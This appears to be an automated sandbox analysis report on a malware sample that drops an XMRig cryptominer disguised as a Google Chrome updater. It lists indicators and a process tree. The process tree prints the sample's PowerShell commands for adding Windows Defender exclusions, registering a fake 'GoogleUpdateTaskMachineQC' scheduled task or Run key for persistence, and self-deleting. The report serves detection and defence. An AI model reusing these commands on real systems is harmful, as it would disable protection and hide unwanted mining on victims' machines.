Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1799s -
max time network
1784s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 3656 created 3416 3656 Q5EUCWHU7pMYBfT3.exe 41 PID 3656 created 3416 3656 Q5EUCWHU7pMYBfT3.exe 41 PID 3656 created 3416 3656 Q5EUCWHU7pMYBfT3.exe 41 PID 3656 created 3416 3656 Q5EUCWHU7pMYBfT3.exe 41 PID 2512 created 3416 2512 updater.exe 41 PID 2512 created 3416 2512 updater.exe 41 PID 2512 created 3416 2512 updater.exe 41 PID 4264 created 3416 4264 conhost.exe 41 PID 2512 created 3416 2512 updater.exe 41 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral22/memory/1940-128-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-132-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-133-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-135-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-138-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-141-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-143-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-145-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-147-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-149-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-151-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-153-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-155-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-157-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-159-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-161-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-163-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-165-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-167-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-169-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-171-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-173-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-175-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-177-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-179-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-181-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-183-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-185-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-187-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig behavioral22/memory/1940-189-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 2512 updater.exe -
resource yara_rule behavioral22/memory/1940-122-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-128-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-132-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-133-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-135-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-138-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-141-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-143-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-145-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-147-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-149-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-151-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-153-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-155-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-157-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-159-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-161-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-163-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-165-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-167-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-169-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-171-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-173-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-175-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-177-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-179-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-181-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-183-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-185-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-187-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx behavioral22/memory/1940-189-0x00007FF7C1480000-0x00007FF7C1C74000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2512 set thread context of 4264 2512 updater.exe 109 PID 2512 set thread context of 1940 2512 updater.exe 113 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe Q5EUCWHU7pMYBfT3.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1044 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 3656 Q5EUCWHU7pMYBfT3.exe 3656 Q5EUCWHU7pMYBfT3.exe 4312 powershell.exe 4312 powershell.exe 3656 Q5EUCWHU7pMYBfT3.exe 3656 Q5EUCWHU7pMYBfT3.exe 2016 powershell.exe 2016 powershell.exe 3656 Q5EUCWHU7pMYBfT3.exe 3656 Q5EUCWHU7pMYBfT3.exe 3656 Q5EUCWHU7pMYBfT3.exe 3656 Q5EUCWHU7pMYBfT3.exe 2108 powershell.exe 2108 powershell.exe 2512 updater.exe 2512 updater.exe 4048 powershell.exe 4048 powershell.exe 2512 updater.exe 2512 updater.exe 640 powershell.exe 640 powershell.exe 2512 updater.exe 2512 updater.exe 2512 updater.exe 2512 updater.exe 4264 conhost.exe 4264 conhost.exe 2512 updater.exe 2512 updater.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4312 powershell.exe Token: SeDebugPrivilege 2016 powershell.exe Token: SeIncreaseQuotaPrivilege 2016 powershell.exe Token: SeSecurityPrivilege 2016 powershell.exe Token: SeTakeOwnershipPrivilege 2016 powershell.exe Token: SeLoadDriverPrivilege 2016 powershell.exe Token: SeSystemProfilePrivilege 2016 powershell.exe Token: SeSystemtimePrivilege 2016 powershell.exe Token: SeProfSingleProcessPrivilege 2016 powershell.exe Token: SeIncBasePriorityPrivilege 2016 powershell.exe Token: SeCreatePagefilePrivilege 2016 powershell.exe Token: SeBackupPrivilege 2016 powershell.exe Token: SeRestorePrivilege 2016 powershell.exe Token: SeShutdownPrivilege 2016 powershell.exe Token: SeDebugPrivilege 2016 powershell.exe Token: SeSystemEnvironmentPrivilege 2016 powershell.exe Token: SeRemoteShutdownPrivilege 2016 powershell.exe Token: SeUndockPrivilege 2016 powershell.exe Token: SeManageVolumePrivilege 2016 powershell.exe Token: 33 2016 powershell.exe Token: 34 2016 powershell.exe Token: 35 2016 powershell.exe Token: 36 2016 powershell.exe Token: SeIncreaseQuotaPrivilege 2016 powershell.exe Token: SeSecurityPrivilege 2016 powershell.exe Token: SeTakeOwnershipPrivilege 2016 powershell.exe Token: SeLoadDriverPrivilege 2016 powershell.exe Token: SeSystemProfilePrivilege 2016 powershell.exe Token: SeSystemtimePrivilege 2016 powershell.exe Token: SeProfSingleProcessPrivilege 2016 powershell.exe Token: SeIncBasePriorityPrivilege 2016 powershell.exe Token: SeCreatePagefilePrivilege 2016 powershell.exe Token: SeBackupPrivilege 2016 powershell.exe Token: SeRestorePrivilege 2016 powershell.exe Token: SeShutdownPrivilege 2016 powershell.exe Token: SeDebugPrivilege 2016 powershell.exe Token: SeSystemEnvironmentPrivilege 2016 powershell.exe Token: SeRemoteShutdownPrivilege 2016 powershell.exe Token: SeUndockPrivilege 2016 powershell.exe Token: SeManageVolumePrivilege 2016 powershell.exe Token: 33 2016 powershell.exe Token: 34 2016 powershell.exe Token: 35 2016 powershell.exe Token: 36 2016 powershell.exe Token: SeIncreaseQuotaPrivilege 2016 powershell.exe Token: SeSecurityPrivilege 2016 powershell.exe Token: SeTakeOwnershipPrivilege 2016 powershell.exe Token: SeLoadDriverPrivilege 2016 powershell.exe Token: SeSystemProfilePrivilege 2016 powershell.exe Token: SeSystemtimePrivilege 2016 powershell.exe Token: SeProfSingleProcessPrivilege 2016 powershell.exe Token: SeIncBasePriorityPrivilege 2016 powershell.exe Token: SeCreatePagefilePrivilege 2016 powershell.exe Token: SeBackupPrivilege 2016 powershell.exe Token: SeRestorePrivilege 2016 powershell.exe Token: SeShutdownPrivilege 2016 powershell.exe Token: SeDebugPrivilege 2016 powershell.exe Token: SeSystemEnvironmentPrivilege 2016 powershell.exe Token: SeRemoteShutdownPrivilege 2016 powershell.exe Token: SeUndockPrivilege 2016 powershell.exe Token: SeManageVolumePrivilege 2016 powershell.exe Token: 33 2016 powershell.exe Token: 34 2016 powershell.exe Token: 35 2016 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2496 wrote to memory of 1720 2496 cmd.exe 98 PID 2496 wrote to memory of 1720 2496 cmd.exe 98 PID 2108 wrote to memory of 2916 2108 powershell.exe 102 PID 2108 wrote to memory of 2916 2108 powershell.exe 102 PID 2512 wrote to memory of 4264 2512 updater.exe 109 PID 1684 wrote to memory of 1044 1684 cmd.exe 114 PID 1684 wrote to memory of 1044 1684 cmd.exe 114 PID 2512 wrote to memory of 1940 2512 updater.exe 113 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3416
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:3656
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4312
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\Q5EUCWHU7pMYBfT3.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2496
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2916
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4048
-
-
